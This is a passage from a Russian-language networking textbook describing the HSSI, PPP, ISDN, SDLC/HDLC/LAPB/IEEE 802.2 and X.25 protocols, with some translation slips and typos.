переместились в диапазон скоростей до 100 Mb/сек. Прикладные программы для
локальных сетей, стимулирующие это увеличение скоростей, включают передачу
изображений, видеосигналов и современные прикладные задачи передачи
распределенной информации (клиент-устройство обслуживания). Более
быстродействующие компьютерные платформы будут продолжать стимулировать
увеличение скоростей в окружениях локальных сетей по мере того, как они будут
делать возможными новые высокоскоростные прикладные задачи.
Уже разработаны линии глобальных сетей (WAN) с более высокой пропускной
способностью, чтобы соответствовать постоянно растущим скоростям LAN и сделать
возможным увеличение протяженности канала универсальной вычислительной машины
через глобальные сети. Технологии WAN, такие как Frame Relay (Реле блока
данных), Switched Multimegabit Data Service (SMDS) (Обслуживание переключаемых
мультимегабитовых информационных каналов), Synchronous Optical Network (Sonet)
(Синхронная оптическая сеть) и Broadband Integrated Services Digital Network (Broadband
ISDN, или просто BISDN) (Широкополосная цифровая сеть с интегрированными
услугами), использовали преимущества новых цифровых и волоконно-оптических
технологий для того, чтобы обеспечить WAN иную роль, чем роль узкого бутылочного
горлышка в сквозной передаче через большие географические пространства.
С достижением более высоких скоростей в окружениях как локальных, так и
глобальных сетей, насущной необходимостью стал интерфейс data terminal equipment
(DTE)/data circuit-terminating equipment (DCE) (Интерфейс “терминальное
оборудование/ оборудование завершения работы информационной цепи”), который мог
бы соединить эти два различных мира и не стать при этом узким бутылочным
горлышком. Стандарты классических интерфейсов DTE/DCE, таких как RS-232 и V.35,
были не способны обеспечить скорости Т3 или аналогичные им скорости. Поэтому
стало очевидно, что необходим новый протокол DTE/DCE.
High-Speed Serial Interface (HSSI) (Высокоскоростной последовательный интерфейс)
является интерфейсом DTE/DCE, разработанным компаниями Cisco Systems и T3Plus
Networking, чтобы удовлетворить перечисленные выше потребности. Спецификация
HSSI доступна для любой организации, которая хочет реализовать HSSI. HSSI стала
настоящим промышленным стандартом.
Основы технологии
HSSI определяет как электрический, так и и физический интерфейсы DTE/DCE.
Следовательно, он соответствует физическому уровню эталонной модели OSI.
Максимальная скорость передачи сигнала HSSI равна 52 Mb/сек. На этой скорости
HSSI может оперировать скоростями Т3 (45 Mb/сек) большинства современных
быстродействующих технологий WAN, скоростями Office Channel (OC)-1 (52 Mb/сек)
иерархии синхронной цифровой сети (SDN), а также может легко обеспечить
высокоскоростное соединение между локальными сетями, такими, как Token Ring и
Ethernet.
Применение дифференциальных логических схем с эмиттерным повторителем (ЕCL)
позволяет HSSI добиться высоких скоростей передачи информации и низких уровней
помех. ECL использовалась в интерфейсах Cray в течение нескольких лет; эта схема
определена стандартом сообщений High-Perfomance Parallel Interface (HIPPI),
разработанным ANSI, для связей LAN с суперкомпьютерами. ECL-это имеющаяся в
готовом виде технология, которая позволяет превосходно восстанавливать
синхронизацию приемника, результатом чего является достаточный запас надежности
по синхронизации.
Гибкость синхронизации и протокола обмена информацией HSSI делает возможным
выделение полосы пропускания пользователю (или поставщику). DCE управляет
синхронизацией путем изменения ее скорости или путем стирания импульсов
синхронизации. Таким образом DCE может распределять полосу пропускания между
прикладными задачами. Например, PВX может потребовать одну величину полосы
пропускания, роутер другую величину, а расширитель канала-третью. Распределение
полосы пропускания является ключом для того, чтобы сделать Т3 и другие услуги
широкой полосы (broadband) доступными и популярными.
HSSI использует субминиатюрный, одобренный FCC 50-контактный соединитель,
размеры которого меньше, чем у его аналога V.35. Для того, чтобы уменьшить
потребность в адаптерах для соединения двух вилок или двух розеток, соединители
кабеля HSSI определены как вилки. Кабель HSSI использует такое же число
контактов и проводов, как кабель интерфейса Small Computer Systems Interface 2
(SCSI-2), однако технические требования HSSI на электрические сигналы более
жесткие.
Для любого из высших уровней диагностического ввода, HSSI обеспечивает четыре
проверки петлевого контроля. Первый тест обеспечивает контроль кабеля локальной
сети, так как сигнал закольцовывается, как только он доходит до порта DTE.
Сигнал второго теста доходит до линейного порта локального DСE. Сигнал третьего
теста доходит до линейного порта отдаленной DCE. И наконец, четвертый тест
представляет собой инициируемую DCE проверку устройством DTE порта DCE.
HSSI предполагает, что DCE и DТЕ обладают одинаковым интеллектом. Протокол
управления упрощен, так как требуется всего два управляющих сигнала (DTE
available — “DTE доступен” и DCE available — “DCE доступен”). Оба сигнала должны
быть утверждены до того, как информационная цепь станет действующей. Ожидается,
что DTE и DCE будут в состоянии управлять теми сетями, которые находятся за их
интерфейсами. Уменьшение числа управляющих сигналов улучшает надежность цепи за
счет уменьшения числа цепей, которые могут отказать.
4.10. PPP
В начале 80-х годов Internet (крупная международная сеть, соединяющая множество
исследовательских организаций, университетов и коммерческих концернов) начала
испытывать резкий рост числа главных вычислительных машин, обеспечивающих TCP/IP.
Преобладающая часть этих главных вычислительных машин была подсоединена к
локальным сетям (LAN) различных типов, причем наиболее популярной была Ethernet.
Большая часть других главных вычислительных машин соединялись через глобальные
сети (WAN), такие как общедоступные сети передачи данных (PDN) типа Х.25.
Сравнительно небольшое число главных вычислительных машин были подключены к
каналам связи с непосредственным (двухточечным) соединением (то есть к
последовательным каналами связи). Однако каналы связи с непосредственным
соединением принадлежат к числу старейших методов передачи информации, и почти
каждая главная вычислительная машина поддерживает непосредственные соединения.
Например, асинхронные интерфейсы RS-232-С встречаются фактически повсюду.
Одной из причин малого числа каналов связи IP с непосредственным соединением
было отсутствие стандартного протокола формирования пакета данных Internet.
Протокол Point-to-Point Protocol (PPP) (Протокол канала связи с непосредственным
соединением) предназначался для решения этой проблемы. Помимо решения проблемы
формирования стандартных пакетов данных Internet IP в каналах с непосредственным
соединением, РРР также должен был решить другие проблемы, в том числе присвоение
и управление адресами IP, асинхронное (старт/стоп) и синхронное
бит-ориентированное формирование пакета данных, мультиплексирование протокола
сети, конфигурация канала связи, проверка качества канала связи, обнаружение
ошибок и согласование варианта для таких способностей, как согласование адреса
сетевого уровня и согласование компрессии информации. РРР решает эти вопросы
путем обеспечения расширяемого Протокола Управления Каналом (Link Control
Protocol) (LCP) и семейства Протоколов Управления Сетью (Network Control
Protocols) (NCP), которые позволяют согласовывать факультативные параметры
конфигурации и различные возможности. Сегодня PPP, помимо IP, обеспечивает также
и другие протоколы, в том числе IPX и DECnet.
Компоненты PPP
РРР обеспечивает метод передачи дейтаграмм через последовательные каналы связи с
непосредственным соединением. Он содержит три основных компонента:
● Метод формирования дейтаграмм для передачи по последовательным каналам. РРР
использует протокол High-level Data Link Control (HDLC) (Протокол управления
каналом передачи данных высокого уровня) в качестве базиса для формирования
дейтаграмм при прохождении через каналы с непосредственным соединением.
● Расширяемый протокол LCP для организации, выбора конфигурации и проверки
соединения канала передачи данных.
● Семейство протоколов NCP для организации и выбора конфигурации различных
протоколов сетевого уровня. РРР предназначена для обеспечения одновременного
пользования множеством протоколов сетевого уровня.
Основные принципы работы
Для того, чтобы организовать связь через канал связи с непосредственным
соединением, инициирующий РРР сначала отправляет пакеты LCР для выбора
конфигурации и (факультативно) проверки канала передачи данных. После того, как
канал установлен и пакетом LCР проведено необходимое согласование факультативных
средств, инициирующий РРР отправляет пакеты NCP, чтобы выбрать и определить
конфигурацию одного или более протоколов сетевого уровня. Как только
конфигурация каждого выбранного протокола определена, дейтаграммы из каждого
протокола сетевого уровня могут быть отправлены через данный канал. Канал
сохраняет свою конфигурацию для связи до тех пор, пока явно выраженные пакеты
LCP или NCP не закроют этот канал, или пока не произойдет какое-нибудь внешнее
событие (например, истечет срок бездействия таймера или вмешается какой-нибудь
пользователь).
Требования, определяемые физическим уровнем
РРР может работать через любой интерфейс DTE/DCE. Единственным абсолютным
требованием, которое предъявляет РРР, является требование обеспечения
дублированных схем (либо специально назначенных, либо переключаемых), которые
могут работать как в синхронном, так и в асинхронном последовательном по битам
режиме, прозрачном для блоков данных канального уровня РРР. РРР не предъявляет
каких-либо ограничений, касающихся скорости передачи информации, кроме тех,
которые определяются конкретным примененным интерфейсом DTE/DCE.
Канальный уровень PPP
РРР использует принципы, терминологию и структуру блока данных процедур HDLC (ISO
3309-1979) Международной Организации по Стандартизации (ISO), модифицированных
стандартом ISO 3309-1984/PDAD1 “Addendum 1:Start/stop Trasmission” (Приложение
1: Стартстопная передача”). ISO 3309-1979 определяет структуру блока данных HLDC
для применения в синхронных окружениях. ISO 3309-1984/ PDAD1 определяет
предложенные для стандарта ISO 3309-1979 модификации, которые позволяют его
использование в асинхронных окружениях. Процедуры управления РРР используют
дефиниции и кодирование управляющих полей, стандартизированных ISO 4335-1979 и
ISO 4335-1979/Addendum 1-1979.
Формат блока данных РРР включает в себя:
flag
Длина последовательности “флаг” равна одному байту; она указывает на начало или
конец блока данных. Эта последовательность состоит из бинарной
последовательности 01111110.
address
Длина поля “адрес” равна 1 байту; оно содержит бинарную последовательность
11111111, представляющую собой стандартный широковещательный адрес. РРР не
присваивает индивидуальных адресов станциям.
control
Поле “управление” составляет 1 байт и содержит бинарную последовательность
00000011, которая требует от пользователя передачи информации непоследовательным
кадром. Предусмотрены услуги без установления соединения канала связи,
аналогичные услугам LLC Type 1.
protocol
Длина поля “протокол” равна 2 байтам; его значение идентифицирует протокол,
заключенный в информационном поле блока данных. Большинство современных значений
поля протокола определены в последнем выпуске Assigned Numbers Request for
Comments (RFC).
data
Длина поля “данные” — от нуля и больше; оно содержит дейтаграмму для протокола,
заданного в поле протокола. Конец информационного поля определяется локализацией
замыкающей последовательности “флаг” и предоставлением двух байтов полю FCS.
Максимальная длина умолчания информационного поля равна 1500 байтам. В
соответствии с априорным соглашением, разрешающие реализации РРР могут
использовать другие значения максимальной длины информационного поля.
frame check sequence
Поле проверочной последовательности блока данных (FCS) обычно составляет 16 бит
(два байта). В соответствии с априорным соглашением, разрешающие реализации РРР
могут использовать 32-х битовое (четырехбайтовое) поле FCS, чтобы улучшить
процесс выявления ошибок.
Link Control Protocol (LCP) может согласовывать модификации стандартной
структуры блока данных РРР. Однако модифицированные блоки данных всегда будут
четко различимы от стандартных блоков данных.
Протокол управления канала связи PPP (LCP)
LCP обеспечивает метод организации, выбора конфигурации, поддержания и окончания
работы канала с непосредственным соединением. Процесс LCD проходит через 4 четко
различаемые фазы:
● Организация канала и согласование его конфигурации. Прежде чем может быть
произведен обмен каких-либо дейтаграмм сетевого уровня (например, IP), LCP
сначала должен открыть связь и согласовать параметры конфигурации. Эта фаза
завершается после того, как пакет подтверждения конфигурации будет отправлен и
принят.
● Определение качества канала связи. LCP обеспечивает факультативную фазу
определения качества канала, которая следует за фазой организации канала и
согласования его конфигурации. В этой фазе проверяется канал, чтобы определить,
является ли качество канала достаточным для вызова протоколов сетевого уровня.
Эта фаза является полностью факультативной. LСP может задержать передачу
информации протоколов сетевого уровня до завершения этой фазы.
● Согласование конфигурации протоколов сетевого уровня. После того, как LСP
завершит фазу определения качества канала связи, конфигурация сетевых протоколов
может быть по отдельности выбрана соответствующими NCP, и они могут быть в любой
момент вызваны и освобождены для последующего использования. В случае, если LCP
закрывает данный канал, он информирует об этом протоколы сетевого уровня, чтобы
они могли принять соответствующие меры.
● Прекращение действия канала. LCP может в любой момент закрыть канал. Это
обычно делается по запросу пользователя (человека), но может произойти и из-за
какого-нибудь физического события, такого, как потеря носителя или истечение
периода бездействия таймера.
Существует три класса пакетов LCP:
● Пакеты для организации канала связи. Используются для организации и выбора
конфигурации канала.
● Пакеты для завершения действия канала. Используются для завершения действия
канала связи.
● Пакеты для поддержания работоспособности канала. Используются для поддержания
и отладки канала.
Эти пакеты используются для достижения работоспособности каждой из фаз LCP.
4.11. ISDN
Название сети Integrated Services Digital Network (ISDN) (Цифровая сеть с
интегрированными услугами) относится к набору цифровых услуг, которые становятся
доступными для конечных пользователей. ISDN предполагает оцифровывание
телефонной сети для того, чтобы голос, информация, текст, графические
изображения, музыка, видеосигналы и другие материальные источники могли быть
переданы конечному пользователю по имеющимся телефонным проводам и получены им
из одного терминала конечного пользователя. Сторонники ISDN рисуют картину сети
мирового масштаба, во многом похожую на сегодняшнюю телефонную сеть, за тем
исключением, что в ней используется передача цифрового сигнала и появляются
новые разнообразные услуги.
ISDN является попыткой стандартизировать абонентские услуги, интерфейсы
пользователь/сеть и сетевые и межсетевые возможности. Стандартизация абонентских
услуг является попыткой гарантировать уровень совместимости в международном
масштабе. Стандартизация интерфейса пользователь/сеть стимулирует разработку и
сбыт на рынке этих интерфейсов изготовителями, являющимися третьей участвующей
стороной. Стандартизация сетевых и межсетевых возможностей помогает в достижении
цели возможного объединения в мировом масштабе путем обеспечения легкости связи
сетей ISDN друг с другом. Применения ISDN включают быстродействующие системы
обработки изображений (такие, как факсимиле Group 1V), дополнительные телефонные
линии в домах для обслуживания индустрии дистанционного доступа,
высокоскоростную передачу файлов и проведение видео конференций. Передача голоса
несомненно станет популярной прикладной программой для ISDN.
Многие коммерческие сети связи начинают предлагать ISDN по ценам ниже тарифных.
В Северной Америке коммерческие сети связи с коммутатором локальных сетей (Local-exchange
carrier) (LEC) начинают обеспечивать услуги ISDN в качестве альтернативы
соединениям Т1, которые в настоящее время выполняют большую часть услуг
“глобальной телефонной службы” (WATS) (wide-area telephone service).
Компоненты ISDN
В число компонентов ISDN входят терминалы, терминальные адаптеры (ТА),
устройства завершения работы сети, оборудование завершения работы линии и
оборудование завершения коммутации. Имеется два типа терминалов ISDN.
Специализированные терминалы ISDN называются “терминальным оборудованием типа 1”
(terminal equipment type 1) (TE1). Терминалы, разрабатывавшиеся не для ISDN,
такие, как DTE, которые появились раньше стандартов ISDN, называются
“терминальным оборудованием типа 2” (terminal equipment type 2) (TE2). Терминалы
ТЕ1 подключают к сети ISDN через цифровую линию связи из четырех скрученных пар
проводов. Терминалы ТЕ2 подключают к сети ISDN через терминальный адаптер.
Терминальный адаптер (ТА) ISDN может быть либо автономным устройством, либо
платой внутри ТЕ2. В случае, если ТЕ2 реализован как автономное устройств, то он
подключает к ТА через стандартный интерфейс физического уровня.
Следующей точкой соединения в сети ISDN, расположенной за пределами устройств
ТЕ1 и ТЕ2, является NT1 или NT2. Это устройства завершения работы сети, которые
подключают четырехпроводной абонентский монтаж к традиционному контуру
двухпроводной локальной сети. В Северной Америке NT1 является устройством
“оборудования посылок заказчика” (customer premises equipment) (CPE). В
большинстве других частей света NT1 является частью сети, обеспечиваемой
коммерческими сетями связи. NT2 является более сложным устройством, которое
обычно применяется в “частных цифровых телефонных станциях с выходом в общую
сеть” (PBX), и выполняет функции протоколов и услуги по концентрации данных.
Существует также устройство NT1/2; это отдельное устройство, которое сочетает
функции NT1 и NT2.
В ISDN задано определенное число контрольных точек. Эти контрольные точки
определяют логические интерфейсы между функциональными группировками, такими,
как ТА и NТ1. Контрольными точками ISDN являются точки “R” (контрольная точка
между неспециализированным оборудованием ISDN и ТА), “S” (контрольная точка
между терминалами пользователя и NT2), “Т” (контрольная точка между устройствами
NT1 и NT2) и “U” (контрольная точка между устройствами NT1 и оборудованием
завершения работы линии в коммерческих сетях связи). Контрольная точка “U” имеет
отношение только к Северной Америке, где функция NT1 не обеспечивается
коммерческими сетями связи.
Услуги ISDN
Услуги “Интерфейса базовой скорости” (Basic Rate Interface) (BRI),
обеспечиваемые ISDN, предлагают два В-канала и один D-канал (2B+D). Обслуживание
В-каналом BRI осуществляется со скоростью 64 Kb/сек; оно предназначено для
переноса управляющей информации и информации сигнализации, хотя при определенных
обстоятельствах может поддерживать передачу информации пользователя. BRI
обеспечивает также управление разметкой и другие непроизводительные операции,
при этом общая скорость передачи битов доходит до 192 Kb/сек.
Услуги “Интерфейса первичной скорости” ISDN (Primary Rate Interface) (PRI)
предлагают 23 В-канала и один D-канал в Северной Америке и Японии,
обеспечивающие общую скорость передачи битов 1.544 Mb/сек (канал-D PRI работает
на скорости 64 Kb/сек). PRI ISDN в Европе, Австралии и других частях света
обеспечивает 30 В-каналов и один 64 Kb/сек D-канал и общую скорость интерфейса
2.048 Mb/сек. Спецификацией физического уровня PRI является CCITT 1.431.
Уровень 1
Форматы блока данных физического уровня (Уровень 1) ISDN различаются в
зависимости от того, является блок данных отправляемым за пределы терминала (из
терминала в сеть) или входящим в пределы терминала (из сети в терминал). Длина
блоков данных равна 48 битам, из которых 36 бит представляют информацию.
Физически к одной цепи может быть подключено множество устройств пользователей
ISDN. Для такой конфигурации столкновения могут быть результатом одновременной
передачи двух терминалов. Поэтому ISDN предусматривает средства для определения
конфликтов в канале связи.
Уровень 2
Уровнем 2 протокола обмена сигналами ISDN является Link Access Procedure, D
channel (Процедура доступа к каналу связи, D-канал), известная также как LAРD.
LAPD аналогична “Управлению каналом передачи данных высокого уровня” (HDLC) и
“Процедуре доступа к каналу связи, сбалансированной” (LAPB). Как видно из
раскрытия его акронима, LAPD используется в D-канале для того, чтобы обеспечить
поток и соответствующий прием управляющей и сигнализирующей информации. Формат
блока данных LAPD очень похож на формат HDLC; также, как НDLC, LAPD использует
блок данных супервизора, информационный и и непронумерованный блоки данных.
Поля “флаг” (flag) и “управление” (control) LAPD идентичны этим полям у HDLC.
Длина поля “адрес” LAPD может составлять один или два байта. В случае, если в
первом байте задан бит расширенного адреса (ЕА), то адрес состоит из одного
байта; если он не задан, то адрес состоит из двух байтов. Первый байт адресного
поля содержит servise access point identifier (SAPI) (идентификатор точки
доступа к услугам), который идентифицирует главный вход. Бит C/R указывает,
содержит ли блок данных команду или ответный сигнал. Поле “идентификатора
конечной точки терминала” (terminal end-point identifier) (TEI) указывает,
является ли терминал единственным или их много. Этот идентификатор является
единственным из перечисленных выше, который указывает на широковещание.
Уровень 3
Для передачи сигналов ISDN используются две спецификации Уровня 3: CCITT 1.450
(известная также как CCITT Q.930) и CCITT 1.451 (известная также как SSITT
Q.931). Вместе оба этих протокола обеспечивают соединения
пользователь-пользователь, соединения с коммутацией каналов и с коммутацией
пакетов. В них определены разнообразные сообщения по организации и завершению
обращения, информационные и смешанные сообщения, в том числе SETUP (Установка),
CONNECT (Подключение), RELEASE (Отключение), USER INFORMATION (Информация
пользователя), CANCEL (Отмена), STATUS (Состояние) и DISCONNECT (Разъединять).
Эти сообщения функционально схожи с сообщениями, которые обеспечивает протокол
Х.25.
4.12. SDLC и его производные
IBM разработала протокол Synchronous Data-Link Control (SDLC) (Управление
синхронным каналом передачи данных) в середине 1970 гг. для применения в
окружениях Systems Network Architecture (SNA) (Архитектура системных сетей).
SDLC был первым из протоколов канального уровня нового важного направления,
базирующегося на синхронном бит-ориентированном режиме работы. По сравнению с
синхронным, ориентированным по символам (например, Bisynk фирмы IBM) и
синхронным, с организацией счета байтов (например, Digital Data Communications
Message Protocol — Протокол Сообщений Цифровой Связи) протоколами,
бит-ориентированные синхронные протоколы являются более эффективными и гибкими,
и очень часто более быстродействующими.
После разработки SDLC компания IBM представила его на рассмотрение в различные
комитеты по стандартам. Международная Организация по Стандартизации (ISO)
модифицировала SDLC с целью разработки протокола HDLC (Управление каналом связи
высокого уровня). Впоследствии Международный консультативный комитет по
телеграфии и телефонии (CCITT) модифицировал HDLC с целью создания “Процедуры
доступа к каналу” (LAP), а затем “Процедуры доступа к каналу, сбалансированной”
(LAPB). Институт инженеров по электротехнике и радиоэлектронике (IEEE)
модифицировал HDLC, чтобы разработать IEEE 802.2. Каждый из этих протоколов
играет важную роль в своей области. SDLC остается основным протоколом канального
уровня SNA для каналов глобальных сетей.
Основы технологии
SDLC поддерживает разнообразные типы соединений и топологий. Он может
применяться в сетях с двухточечными (непосредственными) и многоточечными
связями, со связанным и несвязанным носителем, с полностью и наполовину
дублированными средствами передачи, с коммутацией цепей и коммутацией пакетов.
SDLC идентифицирует два типа сетевых узлов:
● Первичный
Управляет работой других станций (называемых вторичными). Первичный узел
опрашивает вторичные в заранее заданном порядке. После этого вторичные узлы
могут передавать, если у них имеются исходящие данные. Первичный узел также
устанавливает каналы и завершает их работу, и управляет каналом во время его
функционирования.
● Вторичные
Управляются первичным узлом. Вторичные узлы могут только отсылать информацию в
первичный узел, но не могут делать этого без получения разрешения от первичного
узла.
Первичные и вторичные узды SDLC могут быть соединены в соответствии со
следующими четырьмя основными конфигурациями:
● Point-to-point (двухточечная). Предполагает только два узла: один первичный и
один вторичный.
● Multipoint (многоточечная). Включает в себя один первичный и множество
вторичных узлов.
● Loop (контур). Подразумевает топологию контура, когда первичный узел
соединяется с первым и последним вторичными узлами. Промежуточные вторичные
узлы, отвечая на запросы первичного узла, передают сообщения друг через друга.
● Hub go-ahead (готовый вперед). Предполагает наличие входного и выходного
каналов. Первичный узел использует выходной канал для связи со вторичными
узлами. Вторичные узлы используют входной канал для связи в первичным. Входной
канал соединяется с первичным узлом через каждый вторичный по схеме гирляндной
цепи.
Форматы блока данных
Блоки данных SDLC ограничены уникальной структурой “флага” (flag). Поле “адрес”
(address) всегда содержит адрес вторичного узла, задействованного в текущей
связи. Так как первичный узел является либо источником связи, либо пунктом
назначения, нет необходимости включать его адрес — он заранее известен всем
вторичным узлам. “Управляющее” (control) поле использует три разных формата в
зависимости от использованного типа блока данных SDLC. Описание трех типов блока
данных SDLC дается ниже:
Информационные блоки данных (Information (I) frames)
Эти блоки данных содержат информацию высших уровней и определенную управляющую
информацию (необходимую для работы с полным дублированием). Номера
последовательностей отправки и приема и бит “опроса последнего” (P/F) выполняют
функции управления потоком информации и неисправностями. Номер
последовательности отправки (send sequence number) относится к номеру блока
данных, который должен быть отправлен следующим. Номер последовательности приема
(receive sequence number) обеспечивает номер блока данных, который должен быть
принят следующим. При полностью дублированном диалоге как отправитель, так и
получатель хранят номера последовательностей отправки и приема. Первичный узел
использует бит P/F, чтобы сообщить вторичному узлу, требует он от него
немедленно ответного сигнала или нет. Вторичный узел использует этот бит для
того, чтобы сообщить первичному, является текущий блок данных последним или нет
в текущей ответной реакции данного вторичного узла.
Блоки данных супервизора (Supervisory (S) frames)
Эти блоки данных обеспечивают управляющую информацию. У них нет информационного
поля. Блоки данных супервизора запрашивают и приостанавливают передачу, сообщают
о состоянии и подтверждают прием блоков данных “I”.
Непронумерованные блоки банных (Unnumbered (U) frames)
Как видно из названия, эти блоки данных не упорядочены. Они могут иметь
информационное поле. Блоки данных “U” используются для управляющих целей.
Например, они могут определять одно- или двубайтовое поле управления,
инициализировать вторичные узлы и выполнять другие аналогичные функции.
Последовательность проверки блока данных (frame check sequence) (FCS)
предшествует ограничителю завершающего флага. FCS обычно является остатком
расчета “проверки при помощи циклического избыточного кода” (cyclic redundency
check) (CRC). Расчет CRC выполняется повторно получателем. В случае, если
результат отличается от значения, содержащегося в блоке данных отправителя,
считается, что имеет место ошибка.
В типичной конфигурации сети, базирующейся на SDLC, контроллер организации связи
IBM (раньше называвшийся групповым контроллером) на отдаленном пункте подключен
к “немым” терминалам и к сети Token Ring. На местном вычислительном центре
главная вычислительная машина IBM подключена (через оборудование подключения
каналов) к фронтальному процессору (FEP), который может также иметь связи с
местными локальными сетями Token Ring и стержнем SNA. Оба пункта соединены с
помощью арендуемой, базирующейся на SDLC, 56-Kb/сек линии.
Производные протоколы
Несмотря на то, что в HDLC не вошли несколько характеристик, используемых в SDLC,
он повсеместно считается некой суперразновидностью SDLC, совместимой с ним. LAP
считается подразновидностью HDLC. LAPB был разработан, чтобы обеспечить
продолжение совместимости с HDLC. IEEE 802.2 является модификацией HDLC для
окружений LAN.
HDLC
Формат блока данных HDLC такой же, как у SDLC; поля HDLC обеспечивают те же
функциональные возможности, что и соответствующие поля SDLC. Кроме того, также,
как и SDLC, HDLC обеспечивает синхронный режим работы с полным дублированием.
HDLC имеет несколько незначительных отличий от SDLC. Во-первых, HDLC имеет
вариант для 32-х битовых контрольных сумм. Во-вторых, в отличие от SDLC, HDLC не
обеспечивает конфигурации “loop” и “hub go-ahead”. Главным различием между HDLC
и SDLC является то, что SDLC обеспечивает только один режим передачи, в то время
как HDLC обеспечивает три. HDLC обеспечивает следующие три режима передачи:
Режим нормальной ответной реакции (NRM)
SDLC также использует этот режим. В этом режиме вторичные узлы не могут иметь
связи с первичным узлом до тех пор, пока первичный узел не даст разрешения.
Режим асинхронной ответной реакции (ARM)
Этот режим передачи позволяет вторичным узлам инициировать связь с первичным
узлом без получения разрешения.
Асинхронный сбалансированный режим (ABM)
В режиме АВМ появляется “комбинированный” узел, который, в зависимости от
ситуации, может действовать как первичный или как вторичный узел. Все связи
режима АВМ имеют место между множеством комбинированных узлов. В окружениях АВМ
любая комбинированная станция может инициировать передачу данных без получения
разрешения от каких-либо других станций.
LAPB
LAPB является наиболее популярным протоколом благодаря тому, что он входит в
комплект протоколов Х.25. Формат и типы блока данных, а также функции поля у
LAPB те же самые, что у SDLC и HDLC. Однако в отличие от любого из этих двух
протоколов, LAPB обеспечивает только один режим передачи ABM, поэтому он
подходит только для комбинированных станций. Кроме того, цепи LAPB могут быть
организованы либо терминальным оборудованием (DTE), либо оборудованием
завершения действия информационной цепи (DCE). Станция, инициирующая обращение,
определяется как первичная, в то время как реагирующая станция считается
вторичной. И наконец, использование протоколом LAPB бита P/F несколько
отличается от его использования другими протоколами.
IEEE802.2
IEEE 802.2 часто называют Logical Link Control (LLC) (Управление логическим
каналом связи). Он чрезвычайно популярен в окружениях LAN, где он
взаимодействует с такими протоколами, как IEEE 802.3, IEEE 802.4 и IEEE 802.5.
IEEE 802.2 предлагает три типа услуг. Тип 1 обеспечивает услуги без установления
соединения и подтверждения о приеме. Тип 2 обеспечивает услуги с установлением
соединения. Тип 3 обеспечивает услуги без установления соединения с
подтверждением о приеме.
Являясь обслуживанием без установления соединения и подтверждения о приеме, Тип
1 LLC не подтверждает передачу данных. Так как большое число протоколов верхнего
уровня, таких как Transmissin Control Protocol/ Internet Protocol (ТCP/IP),
обеспечивают надежную передачу информации, которая может компенсировать
недостаточную надежность протоколов низших уровней, Тип 1 является широко
используемой услугой.
Обслуживание Типа 2 LLC (часто называемое LLC2) организует виртуальные цепи
между отправителем и получателем и, следовательно, является обслуживанием с
установлением соединения. LLC2 подтверждает получение информации; оно
используется в системах связи IBM.
Обеспечивая передачу данных с подтверждением, обслуживание Типа 3 LLC не
организует виртуальных цепей. Являясь компромиссом между двумя другими услугами
LLC, Тип 3 LLC бывает полезным в окружениях фабричных автоматизированных систем,
где обнаружение ошибок очень важно, однако область памяти контекста (для
виртуальных цепей) чрезвычайно ограничена.
Конечные станции могут обеспечить множество типов услуг LLC. Устройство Класса 1
обеспечивает только услуги Типа 1. Устройство Класса II обеспечивает как услуги
Типа 1, так и услуги Типа 2. Устройства Класса III обеспечивает услуги Типа 1 и
Типа 3, в то время как устройства Класса IV обеспечивают все три типа услуг.
Процессы высших уровней используют услуги IEEE 802.2 через “точки доступа к
услугам” (SAP). Заголовок IEEE 802.2 начинается с поля “точки доступа к услугам
пункта назначения” (DSAP), которое идентифицирует принимающий процесс высшего
уровня. Другими словами, после того, как реализация IEEE 802.2 принимающего узла
завершит свою обработку, процесс высшего уровня, идентифицированный в поле DSAP,
принимает оставшиеся данные. За адресом DSAP следует адрес “точки доступа к
услугам источника” (SSAP), который идентифицирует передающий процесс высшего
уровня.
4.13. Протокол X.25
В середине-конце 1970 гг. потребовался определенный набор протоколов, чтобы
обеспечить пользователям связность глобальной сети с общедоступными сетями
передачи данных (PDN). Сети PDN, такие как TELENET и TYMNET, добились
замечательного успеха, однако было ясно, что стандартизация протоколов еще
больше увеличит число абонентов PDN за счет возросшей совместимости оборудования
и более низких цен. Результатом последующих усилий по разработке в этом
направлении была группа протоколов, самым популярным из которых является Х.25.
Протокол Х.25 (официально называемый CCITT Recommendation X.25 — “Рекомендация
“Х.25 CCITT) был разработан компаниями общественных линий связи (в основном
телефонными компаниями), а не каким-то отдельным коммерческим предприятием.
Поэтому спецификация разработана так, чтобы обеспечить хорошую работоспособность
независимо от типа системы пользователя или изготовителя. Пользователи заключают
контракты с общедоступными сетями передачи данных, чтобы пользоваться их сетями
с коммутацией пакетов (PSN), и им предъявляется счет в зависимости от времени
пользования PDN. Предлагаемые услуги (и взимаемая плата) регулируются
Федеральной Комиссией по Связи (FCC).
Одним из уникальных свойств Х.25 является его международный характер. Х.25 и
связанными с ним протоколами управляет одно из агентств Организации Объединенных
Наций, называемое “Международный Союз по Телекоммуникациям (ITU). Комитет ITU,
ответственный за передачу голоса и данных, называется Международным
консультативным комитетом по телеграфии и телефонии (CCITT). Членами CCITT
являются FCC, Европейские PTT, общедоступные сети передачи данных и множество
компаний, занимающихся компьютерами и передачей данных. То, что Х.25 стал
стандартом подлинно глобального значения, является прямым следствием присущих
ему свойств.
Основы технологии
Х.25 определяет характеристики телефонной сети для передачи данных. Для того,
чтобы начать связь, один компьютер обращается к другому с запросом о сеансе
связи. Вызванный компьютер может принять или отклонить связь. В случае, если
вызов принят, то обе системы могут начать передачу информации с полным
дублированием. Любая сторона может в любой момент прекратить связь.
Спецификация Х.25 определяет двухточечное взаимодействие между терминальным
оборудованием (DTE) и оборудованием завершения действия информационной цепи (DCE).
Устройства DTE (терминалы и главные вычислительные машины в аппаратуре
пользователя) подключаются к устройствам DCE (модемы, коммутаторы пакетов и
другие порты в сеть PDN, обычно расположенные в аппаратуре этой сети), которые
соединяются с “коммутаторами переключения пакетов” (packet switching exchange) (PSE
или просто switches) и другими DCE внутри PSN и, наконец, к другому устройству
DTE.
DTE может быть терминалом, который не полностью реализует все функциональные
возможности Х.25. Такие DTE подключаются к DCE через трансляционное устройство,
называемое пакетный ассемблер/дизассемблер — packet assembler/disassembler — (РAD).
Действие интерфейса терминал/PAD, услуги, предлагаемые PAD и взаимодействие
между PAD и главной вычислительной машиной определены соответственно CCITT
Recommendations X.28, X3 и Х.29.
Спецификация Х.25 составляет схемы Уровней 1-3 эталонной модели OSI. Уровень 3
Х.25 описывает форматы пакетов и процедуры обмена пакетами между равноправными
объектами Уровня 3. Уровень 2 Х.25 реализован Протоколом Link Access Procedure,
Balanced (LAPB). LAPB определяет кадрирование пакетов для звена DTE/DCE. Уровень
1 Х.25 определяет электрические и механические процедуры активации и
